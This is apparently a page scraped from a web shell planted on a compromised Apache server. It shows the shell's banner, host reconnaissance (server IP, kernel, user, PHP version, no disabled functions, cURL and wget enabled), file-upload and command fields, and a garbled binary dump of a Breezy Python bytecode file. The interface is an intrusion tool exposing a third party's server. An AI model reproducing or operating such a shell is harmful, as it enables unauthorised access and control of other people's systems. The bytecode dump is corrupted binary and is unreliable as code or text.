403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/__pycache__/missing.cpython-313.pyc
�

p��g\"��d�SrSSKJrJr SSjrSSjrS
SjrS
SjrSrSS	jr	S
r
g)zIDisplay what revisions are missing in 'other' from 'this' and vice versa.�)�errors�logNc
#��# �Uc0nUHYupEnURU5nU(aURU5nOSn[R"XtXhUR	U5S9v� M[ g7f)N)�delta�tags)�get_revision�get_revision_deltar�LogRevision�get)	�	revisions�revision_source�verbose�rev_tag_dict�revno�rev_id�merge_depth�revrs	         �0/usr/lib/python3/dist-packages/breezy/missing.py�iter_log_revisionsrsj�������&/�"��{��*�*�6�2���#�6�6�v�>�E��E��o�o���|�7G�7G��7O�
�	
�
'0�s�A&A(c���UcSnUR5 UR5 [UUUUUUUS9sSSS5 sSSS5 $!,(df   O=fSSS5 g!,(df   g=f)a�Find revisions from each side that have not been merged.

:param local_branch: Compare the history of local_branch
:param remote_branch: versus the history of remote_branch, and determine
    mainline revisions which have not been merged.
:param restrict: ('all', 'local', 'remote') If 'all', we will return the
    unique revisions from both sides. If 'local', we will return None
    for the remote revisions, similarly if 'remote' we will return None for
    the local revisions.
:param include_merged: Show mainline revisions only if False,
    all revisions otherwise.
:param backward: Show oldest versions first when True, newest versions
    first when False.
:param local_revid_range: Revision-id range for filtering local_branch
    revisions (lower bound, upper bound)
:param remote_revid_range: Revision-id range for filtering remote_branch
    revisions (lower bound, upper bound)

:return: A list of [(revno, revision_id)] for the mainline revisions on
    each side.
NF)�restrict�include_merged�backward�local_revid_range�remote_revid_range)�	lock_read�_find_unmerged)�local_branch�
remote_branchrrrrrs       r�
find_unmergedr $sb��<����	�	�	�	!�=�#:�#:�#<�����)��/�1�
�$=�#<�	!�	!�#<�#<��	!�	!�	!�s!�A#�A	�	A#�	
A	�A#�#
A1c�&�UcgU(d/$/nUnUnX`;aaURU/5nURU5n	U	(dO6URUb[U5OSUS45 U	SnUbUS-nX`;aMaU(dUR	5 U$)a�Enumerate the mainline revisions for these revisions.

:param ancestry: A set of revisions that we care about
:param graph: A Graph which lets us find the parents for a revision
:param tip_revno: The revision number for the tip revision
:param tip: The tip of mainline
:param backward: Show oldest versions first when True, newest versions
    first when False.
:return: [(revno, revision_id, 0)] for all revisions in ancestry that
    are left-hand parents from tip, or None if ancestry is None.
N�r)�get_parent_mapr�append�str�reverse)
�ancestry�graph�	tip_revno�tipr�mainline�cur�	cur_revno�
parent_map�parentss
          r�_enumerate_mainliner0Ps��������	��H�

�C��I�

�/��)�)�3�%�0�
��.�.��%�������9�+@��Y��d�C�QR�S�T��a�j��� ���N�I��/�������O�c�R�UcgU(d/$UR5nUVVV	V
s/sHupxp�Xq;dM
SXxX�4PM nn	nnn
U(d[R"U5n/nUH7up�p�nURSR	[[U55X�45 M9 U$s sn
n	nnf)aEnumerate the revisions for the ancestry.

:param branch: The branch we care about
:param ancestry: A set of revisions that we care about
:param graph: A Graph which lets us find the parents for a revision
:param tip_revno: The revision number for the tip revision
:param tip: The tip of the ancsetry
:param backward: Show oldest versions first when True, newest versions
    first when False.
:return: [(revno, revision_id)] for all revisions in ancestry that
    are parents from tip, or None if ancestry is None.
Nr"�.)�iter_merge_sorted_revisionsr�reverse_by_depthr$�join�mapr%)�branchr'r(r)r*r�merge_sorted_revisions�revid�n�d�e�revline�_seqrrr�
_end_of_merges                 r�_enumerate_with_mergesrAvs��������	�#�?�?�A��5�	�5�N�E�a���	��E�a��4�	���!$�!5�!5�6L�!M���G�;Q�7��k�-��������S�%��1�6�G�H�<R��N��s
�B!
�	B!
c	��UbUcU$UVs/sH'o0RUSUSUS5(dM%UPM) sn$s snf)Nrr")�
is_between)r(�revs�revid_rangers    r�_filter_revsrF�sN����d�l�������/�/��A���A���TU��W��t����s�$>�>c��UR5upxUR5up�X�:Xa//4$UR
R
UR
5nUS:XaSnURX�/5n
ONUS:XaSn
URX�/5nO3US:wa[SRU55eURX�5up�U(a[XX�X�5n[UU
UU	U
U5nO[X�XxU5n[X�X�U5n[X�U5[X�U54$![R[R4a SnUR	5nGN:f=f![R[R4a UR	5n
Sn	GNdf=f)zKSee find_unmerged.

The branches should already be locked before entering.
N�remote�local�allz8param restrict not one of "all", "local", "remote": {!r})�last_revision_infor�UnsupportedOperation�GhostRevisionsHaveNoRevno�
last_revision�
repository�	get_graph�find_unique_ancestors�
ValueError�format�find_differencerAr0rF)rrrrrrr�local_revno�local_revision_id�remote_revno�remote_revision_idr(�local_extra�remote_extra�locals�remotess                rrr�s���9�)5�)H�)H�)J�&���+8�+K�+K�+M�(��
�.��2�v�
��#�#�-�-�m�.F�.F�G�E��8�����2�2�� 3�
��
�W�	����1�1��3�
���u���J�Q�Q����
�
%*�$9�$9��%
�!���'��u�;L�
��)�������

��%����
��&���8�
����'8�9�<�
�*�<����m
�'�'��)I�)I�J�9���(�6�6�8��9��

�'�'��)I�)I�J��*�8�8�:�����s"�D�E�6E�E�6F�Fc�P�[UVs/sH	o!UU4PM sn5nU$s snf�N)�sorted)r�history_map�rs   r�sorted_revisionsrb�s.���Y�?�Y��Q���+�Y�?�@�I����@s�#r^)rJNFNN)T)NN)�__doc__�rrrr r0rArFrrb�r1r�<module>rfsO��"P��
�"��
���)
�X#�L!�H���G�Tr1

Youez - 2016 - github.com/yon3zu
LinuXploit